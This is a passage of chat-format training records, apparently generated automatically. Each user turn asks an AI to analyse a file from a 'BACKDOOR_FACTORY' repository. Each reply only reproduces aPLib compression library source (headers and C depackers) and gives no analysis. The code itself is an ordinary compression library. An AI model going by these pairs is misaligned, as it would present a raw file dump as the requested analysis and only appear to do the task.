%u -> %u bytes (%u%%) in %.2f seconds\\n\",\n\t insize, outsize, ratio(outsize, insize),\n\t (double) clocks / (double) CLOCKS_PER_SEC);\n\n\t/* close files */\n\tfclose(packedfile);\n\tfclose(oldfile);\n\n\t/* free memory */\n\tfree(workmem);\n\tfree(packed);\n\tfree(data);\n\n\treturn 0;\n}\n\n/*\n * Decompress a file.\n */\nstatic int decompress_file(const char *packedname, const char *newname)\n{\n\tFILE *newfile;\n\tFILE *packedfile;\n\tunsigned int insize, outsize;\n\tclock_t clocks;\n\tbyte *data, *packed;\n\tunsigned int depackedsize;\n\n\t/* open input file */\n\tif ((packedfile = fopen(packedname, \"rb\")) == NULL) {\n\t\tprintf(\"\\nERR: unable to open input file\\n\");\n\t\treturn 1;\n\t}\n\n\t/* get size of input file */\n\tfseek(packedfile, 0, SEEK_END);\n\tinsize = (unsigned int) ftell(packedfile);\n\tfseek(packedfile, 0, SEEK_SET);\n\n\t/* allocate memory */\n\tif ((packed = (byte *) malloc(insize)) == NULL) {\n\t\tprintf(\"\\nERR: not enough memory\\n\");\n\t\treturn 1;\n\t}\n\n\tif (fread(packed, 1, insize, packedfile) != insize) {\n\t\tprintf(\"\\nERR: error reading from input file\\n\");\n\t\treturn 1;\n\t}\n\n\tdepackedsize = aPsafe_get_orig_size(packed);\n\n\tif (depackedsize == APLIB_ERROR) {\n\t\tprintf(\"\\nERR: compressed data error\\n\");\n\t\treturn 1;\n\t}\n\n\t/* allocate memory */\n\tif ((data = (byte *) malloc(depackedsize)) == NULL) {\n\t\tprintf(\"\\nERR: not enough memory\\n\");\n\t\treturn 1;\n\t}\n\n\tclocks = clock();\n\n\t/* decompress data */\n\toutsize = aPsafe_depack(packed, insize, data, depackedsize);\n\n\tclocks = clock() - clocks;\n\n\t/* check for decompression error */\n\tif (outsize != depackedsize) {\n\t\tprintf(\"\\nERR: an error occured while decompressing\\n\");\n\t\treturn 1;\n\t}\n\n\t/* create output file */\n\tif ((newfile = fopen(newname, \"wb\")) == NULL) {\n\t\tprintf(\"\\nERR: unable to create output file\\n\");\n\t\treturn 1;\n\t}\n\n\t/* write decompressed data */\n\tfwrite(data, 1, outsize, newfile);\n\n\t/* show result */\n\tprintf(\"Decompressed %u -> %u bytes in %.2f seconds\\n\",\n\t insize, outsize,\n\t (double) clocks / (double) CLOCKS_PER_SEC);\n\n\t/* close files */\n\tfclose(packedfile);\n\tfclose(newfile);\n\n\t/* free memory */\n\tfree(packed);\n\tfree(data);\n\n\treturn 0;\n}\n\n/*\n * Show program syntax.\n */\nstatic void show_syntax(void)\n{\n\tprintf(\" Syntax:\\n\\n\"\n\t \" Compress : appack c \\n\"\n\t \" Decompress : appack d \\n\\n\");\n}\n\n/*\n * Main.\n */\nint main(int argc, char *argv[])\n{\n\t/* show banner */\n\tprintf(\"appack, aPLib compression library example\\n\"\n\t \"Copyright 1998-2014 Joergen Ibsen (www.ibsensoftware.com)\\n\\n\");\n\n\t/* check number of arguments */\n\tif (argc != 4) {\n\t\tshow_syntax();\n\t\treturn 1;\n\t}\n\n#ifdef __WATCOMC__\n\t/* OpenWatcom 1.2 line buffers stdout, so we unbuffer stdout manually\n\t to make the progress indication in the callback work.\n\t */\n\tsetbuf(stdout, NULL);\n#endif\n\n\t/* check first character of first argument to determine action */\n\tif (argv[1][0] && argv[1][1] == '\\0') {\n\t\tswitch (argv[1][0]) {\n\t\t/* compress file */\n\t\tcase 'c':\n\t\tcase 'C': return compress_file(argv[2], argv[3]);\n\n\t\t/* decompress file */\n\t\tcase 'd':\n\t\tcase 'D': return decompress_file(argv[2], argv[3]);\n\t\t}\n\t}\n\n\t/* show program syntax */\n\tshow_syntax();\n\treturn 1;\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/lib/coff/aplib.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * COFF format header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef APLIB_H_INCLUDED\n#define APLIB_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\nunsigned int __cdecl aP_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (__cdecl *callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int __cdecl aP_workmem_size(unsigned int inputsize);\n\nunsigned int __cdecl aP_max_packed_size(unsigned int inputsize);\n\nunsigned int __cdecl aP_depack_asm(const void *source, void *destination);\n\nunsigned int __cdecl aP_depack_asm_fast(const void *source, void *destination);\n\nunsigned int __cdecl aP_depack_asm_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\nunsigned int __cdecl aP_crc32(const void *source, unsigned int length);\n\nunsigned int __cdecl aPsafe_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (__cdecl *callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int __cdecl aPsafe_check(const void *source);\n\nunsigned int __cdecl aPsafe_get_orig_size(const void *source);\n\nunsigned int __cdecl aPsafe_depack(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* APLIB_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/lib/coff64/aplib.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * COFF 64-bit format header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef APLIB_H_INCLUDED\n#define APLIB_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\nunsigned int aP_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int aP_workmem_size(unsigned int inputsize);\n\nunsigned int aP_max_packed_size(unsigned int inputsize);\n\nunsigned int aP_depack_asm(const void *source, void *destination);\n\nunsigned int aP_depack_asm_fast(const void *source, void *destination);\n\nunsigned int aP_depack_asm_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\nunsigned int aP_crc32(const void *source, unsigned int length);\n\nunsigned int aPsafe_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int aPsafe_check(const void *source);\n\nunsigned int aPsafe_get_orig_size(const void *source);\n\nunsigned int aPsafe_depack(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* APLIB_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/lib/dll/aplib.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * DLL header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef APLIB_H_INCLUDED\n#define APLIB_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\n__declspec(dllimport) unsigned int __stdcall aP_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (__stdcall *callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\n__declspec(dllimport) unsigned int __stdcall aP_workmem_size(unsigned int inputsize);\n\n__declspec(dllimport) unsigned int __stdcall aP_max_packed_size(unsigned int inputsize);\n\n__declspec(dllimport) unsigned int __stdcall aP_depack_asm(const void *source, void *destination);\n\n__declspec(dllimport) unsigned int __stdcall aP_depack_asm_fast(const void *source, void *destination);\n\n__declspec(dllimport) unsigned int __stdcall aP_depack_asm_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n__declspec(dllimport) unsigned int __stdcall aP_crc32(const void *source, unsigned int length);\n\n__declspec(dllimport) unsigned int __stdcall aPsafe_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (__stdcall *callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\n__declspec(dllimport) unsigned int __stdcall aPsafe_check(const void *source);\n\n__declspec(dllimport) unsigned int __stdcall aPsafe_get_orig_size(const void *source);\n\n__declspec(dllimport) unsigned int __stdcall aPsafe_depack(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* APLIB_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/lib/dll64/aplib.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * DLL 64-bit header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef APLIB_H_INCLUDED\n#define APLIB_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\n__declspec(dllimport) unsigned int aP_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\n__declspec(dllimport) unsigned int aP_workmem_size(unsigned int inputsize);\n\n__declspec(dllimport) unsigned int aP_max_packed_size(unsigned int inputsize);\n\n__declspec(dllimport) unsigned int aP_depack_asm(const void *source, void *destination);\n\n__declspec(dllimport) unsigned int aP_depack_asm_fast(const void *source, void *destination);\n\n__declspec(dllimport) unsigned int aP_depack_asm_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n__declspec(dllimport) unsigned int aP_crc32(const void *source, unsigned int length);\n\n__declspec(dllimport) unsigned int aPsafe_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\n__declspec(dllimport) unsigned int aPsafe_check(const void *source);\n\n__declspec(dllimport) unsigned int aPsafe_get_orig_size(const void *source);\n\n__declspec(dllimport) unsigned int aPsafe_depack(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* APLIB_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/lib/elf/aplib.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * ELF format header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef APLIB_H_INCLUDED\n#define APLIB_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\nunsigned int aP_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int aP_workmem_size(unsigned int inputsize);\n\nunsigned int aP_max_packed_size(unsigned int inputsize);\n\nunsigned int aP_depack_asm(const void *source, void *destination);\n\nunsigned int aP_depack_asm_fast(const void *source, void *destination);\n\nunsigned int aP_depack_asm_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\nunsigned int aP_crc32(const void *source, unsigned int length);\n\nunsigned int aPsafe_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int aPsafe_check(const void *source);\n\nunsigned int aPsafe_get_orig_size(const void *source);\n\nunsigned int aPsafe_depack(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* APLIB_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/lib/elf64/aplib.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * ELF 64-bit format header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef APLIB_H_INCLUDED\n#define APLIB_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\nunsigned int aP_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int aP_workmem_size(unsigned int inputsize);\n\nunsigned int aP_max_packed_size(unsigned int inputsize);\n\nunsigned int aP_depack_asm(const void *source, void *destination);\n\nunsigned int aP_depack_asm_fast(const void *source, void *destination);\n\nunsigned int aP_depack_asm_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\nunsigned int aP_crc32(const void *source, unsigned int length);\n\nunsigned int aPsafe_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int aPsafe_check(const void *source);\n\nunsigned int aPsafe_get_orig_size(const void *source);\n\nunsigned int aPsafe_depack(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* APLIB_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/lib/macho/aplib.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * Mach-O format header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef APLIB_H_INCLUDED\n#define APLIB_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\nunsigned int aP_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int aP_workmem_size(unsigned int inputsize);\n\nunsigned int aP_max_packed_size(unsigned int inputsize);\n\nunsigned int aP_depack_asm(const void *source, void *destination);\n\nunsigned int aP_depack_asm_fast(const void *source, void *destination);\n\nunsigned int aP_depack_asm_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\nunsigned int aP_crc32(const void *source, unsigned int length);\n\nunsigned int aPsafe_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int aPsafe_check(const void *source);\n\nunsigned int aPsafe_get_orig_size(const void *source);\n\nunsigned int aPsafe_depack(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* APLIB_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/lib/macho64/aplib.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * Mach-O 64-bit format header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef APLIB_H_INCLUDED\n#define APLIB_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\nunsigned int aP_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int aP_workmem_size(unsigned int inputsize);\n\nunsigned int aP_max_packed_size(unsigned int inputsize);\n\nunsigned int aP_depack_asm(const void *source, void *destination);\n\nunsigned int aP_depack_asm_fast(const void *source, void *destination);\n\nunsigned int aP_depack_asm_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\nunsigned int aP_crc32(const void *source, unsigned int length);\n\nunsigned int aPsafe_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (*callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int aPsafe_check(const void *source);\n\nunsigned int aPsafe_get_orig_size(const void *source);\n\nunsigned int aPsafe_depack(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* APLIB_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/lib/omf/aplib.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * OMF format header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef APLIB_H_INCLUDED\n#define APLIB_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\nunsigned int __cdecl aP_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (__cdecl *callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int __cdecl aP_workmem_size(unsigned int inputsize);\n\nunsigned int __cdecl aP_max_packed_size(unsigned int inputsize);\n\nunsigned int __cdecl aP_depack_asm(const void *source, void *destination);\n\nunsigned int __cdecl aP_depack_asm_fast(const void *source, void *destination);\n\nunsigned int __cdecl aP_depack_asm_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\nunsigned int __cdecl aP_crc32(const void *source, unsigned int length);\n\nunsigned int __cdecl aPsafe_pack(const void *source,\n void *destination,\n unsigned int length,\n void *workmem,\n int (__cdecl *callback)(unsigned int, unsigned int, unsigned int, void *),\n void *cbparam);\n\nunsigned int __cdecl aPsafe_check(const void *source);\n\nunsigned int __cdecl aPsafe_get_orig_size(const void *source);\n\nunsigned int __cdecl aPsafe_depack(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* APLIB_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/depack.c\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * C depacker\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#include \"depack.h\"\n\n/* internal data structure */\nstruct APDSTATE {\n\tconst unsigned char *source;\n\tunsigned char *destination;\n\tunsigned int tag;\n\tunsigned int bitcount;\n};\n\nstatic unsigned int aP_getbit(struct APDSTATE *ud)\n{\n\tunsigned int bit;\n\n\t/* check if tag is empty */\n\tif (!ud->bitcount--) {\n\t\t/* load next tag */\n\t\tud->tag = *ud->source++;\n\t\tud->bitcount = 7;\n\t}\n\n\t/* shift bit out of tag */\n\tbit = (ud->tag >> 7) & 0x01;\n\tud->tag <<= 1;\n\n\treturn bit;\n}\n\nstatic unsigned int aP_getgamma(struct APDSTATE *ud)\n{\n\tunsigned int result = 1;\n\n\t/* input gamma2-encoded bits */\n\tdo {\n\t\tresult = (result << 1) + aP_getbit(ud);\n\t} while (aP_getbit(ud));\n\n\treturn result;\n}\n\nunsigned int aP_depack(const void *source, void *destination)\n{\n\tstruct APDSTATE ud;\n\tunsigned int offs, len, R0, LWM;\n\tint done;\n\tint i;\n\n\tud.source = (const unsigned char *) source;\n\tud.destination = (unsigned char *) destination;\n\tud.bitcount = 0;\n\n\tR0 = (unsigned int) -1;\n\tLWM = 0;\n\tdone = 0;\n\n\t/* first byte verbatim */\n\t*ud.destination++ = *ud.source++;\n\n\t/* main decompression loop */\n\twhile (!done) {\n\t\tif (aP_getbit(&ud)) {\n\t\t\tif (aP_getbit(&ud)) {\n\t\t\t\tif (aP_getbit(&ud)) {\n\t\t\t\t\toffs = 0;\n\n\t\t\t\t\tfor (i = 4; i; i--) {\n\t\t\t\t\t\toffs = (offs << 1) + aP_getbit(&ud);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (offs) {\n\t\t\t\t\t\t*ud.destination = *(ud.destination - offs);\n\t\t\t\t\t\tud.destination++;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t*ud.destination++ = 0x00;\n\t\t\t\t\t}\n\n\t\t\t\t\tLWM = 0;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\toffs = *ud.source++;\n\n\t\t\t\t\tlen = 2 + (offs & 0x0001);\n\n\t\t\t\t\toffs >>= 1;\n\n\t\t\t\t\tif (offs) {\n\t\t\t\t\t\tfor (; len; len--) {\n\t\t\t\t\t\t\t*ud.destination = *(ud.destination - offs);\n\t\t\t\t\t\t\tud.destination++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tdone = 1;\n\t\t\t\t\t}\n\n\t\t\t\t\tR0 = offs;\n\t\t\t\t\tLWM = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\toffs = aP_getgamma(&ud);\n\n\t\t\t\tif ((LWM == 0) && (offs == 2)) {\n\t\t\t\t\toffs = R0;\n\n\t\t\t\t\tlen = aP_getgamma(&ud);\n\n\t\t\t\t\tfor (; len; len--) {\n\t\t\t\t\t\t*ud.destination = *(ud.destination - offs);\n\t\t\t\t\t\tud.destination++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tif (LWM == 0) {\n\t\t\t\t\t\toffs -= 3;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\toffs -= 2;\n\t\t\t\t\t}\n\n\t\t\t\t\toffs <<= 8;\n\t\t\t\t\toffs += *ud.source++;\n\n\t\t\t\t\tlen = aP_getgamma(&ud);\n\n\t\t\t\t\tif (offs >= 32000) {\n\t\t\t\t\t\tlen++;\n\t\t\t\t\t}\n\t\t\t\t\tif (offs >= 1280) {\n\t\t\t\t\t\tlen++;\n\t\t\t\t\t}\n\t\t\t\t\tif (offs < 128) {\n\t\t\t\t\t\tlen += 2;\n\t\t\t\t\t}\n\n\t\t\t\t\tfor (; len; len--) {\n\t\t\t\t\t\t*ud.destination = *(ud.destination - offs);\n\t\t\t\t\t\tud.destination++;\n\t\t\t\t\t}\n\n\t\t\t\t\tR0 = offs;\n\t\t\t\t}\n\n\t\t\t\tLWM = 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t*ud.destination++ = *ud.source++;\n\t\t\tLWM = 0;\n\t\t}\n\t}\n\n\treturn (unsigned int) (ud.destination - (unsigned char *) destination);\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/depack.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * C depacker, header file\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#ifndef DEPACK_H_INCLUDED\n#define DEPACK_H_INCLUDED\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef APLIB_ERROR\n# define APLIB_ERROR ((unsigned int) (-1))\n#endif\n\n/* function prototype */\nunsigned int aP_depack(const void *source, void *destination);\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* DEPACK_H_INCLUDED */\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/depacks.c\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * aPLib compression library - the smaller the better :)\n *\n * C safe depacker\n *\n * Copyright (c) 1998-2014 Joergen Ibsen\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n\n#include \"depacks.h\"\n\n/* internal data structure */\nstruct APDSSTATE {\n\tconst unsigned char *source;\n\tunsigned int srclen;\n\tunsigned char *destination;\n\tunsigned int dstlen;\n\tunsigned int tag;\n\tunsigned int bitcount;\n};\n\nstatic int aP_getbit_safe(struct APDSSTATE *ud, unsigned int *result)\n{\n\tunsigned int bit;\n\n\t/* check if tag is empty */\n\tif (!ud->bitcount--) {\n\t\tif (!ud->srclen--) {\n\t\t\treturn 0;\n\t\t}\n\n\t\t/* load next tag */\n\t\tud->tag = *ud->source++;\n\t\tud->bitcount = 7;\n\t}\n\n\t/* shift bit out of tag */\n\tbit = (ud->tag >> 7) & 0x01;\n\tud->tag <<= 1;\n\n\t*result = bit;\n\n\treturn 1;\n}\n\nstatic int aP_getgamma_safe(struct APDSSTATE *ud, unsigned int *result)\n{\n\tunsigned int bit;\n\tunsigned int v = 1;\n\n\t/* input gamma2-encoded bits */\n\tdo {\n\t\tif (!aP_getbit_safe(ud, &bit)) {\n\t\t\treturn 0;\n\t\t}\n\n\t\tif (v & 0x80000000) {\n\t\t\treturn 0;\n\t\t}\n\n\t\tv = (v << 1) + bit;\n\n\t\tif (!aP_getbit_safe(ud, &bit)) {\n\t\t\treturn 0;\n\t\t}\n\t} while (bit);\n\n\t*result = v;\n\n\treturn 1;\n}\n\nunsigned int aP_depack_safe(const void *source,\n unsigned int srclen,\n void *destination,\n unsigned int dstlen)\n{\n\tstruct APDSSTATE ud;\n\tunsigned int offs, len, R0, LWM, bit;\n\tint done;\n\tint i;\n\n\tif (!source || !destination) {\n\t\treturn APLIB_ERROR;\n\t}\n\n\tud.source = (const unsigned char *) source;\n\tud.srclen = srclen;\n\tud.destination = (unsigned char *) destination;\n\tud.dstlen = dstlen;\n\tud.bitcount = 0;\n\n\tR0 = (unsigned int) -1;\n\tLWM = 0;\n\tdone = 0;\n\n\t/* first byte verbatim */\n\tif (!ud.srclen-- || !ud.dstlen--) {\n\t\treturn APLIB_ERROR;\n\t}\n\t*ud.destination++ = *ud.source++;\n\n\t/* main decompression loop */\n\twhile (!done) {\n\t\tif (!aP_getbit_safe(&ud, &bit)) {\n\t\t\treturn APLIB_ERROR;\n\t\t}\n\n\t\tif (bit) {\n\t\t\tif (!aP_getbit_safe(&ud, &bit)) {\n\t\t\t\treturn APLIB_ERROR;\n\t\t\t}\n\n\t\t\tif (bit) {\n\t\t\t\tif (!aP_getbit_safe(&ud, &bit)) {\n\t\t\t\t\treturn APLIB_ERROR;\n\t\t\t\t}\n\n\t\t\t\tif (bit) {\n\t\t\t\t\toffs = 0;\n\n\t\t\t\t\tfor (i = 4; i; i--) {\n\t\t\t\t\t\tif (!aP_getbit_safe(&ud, 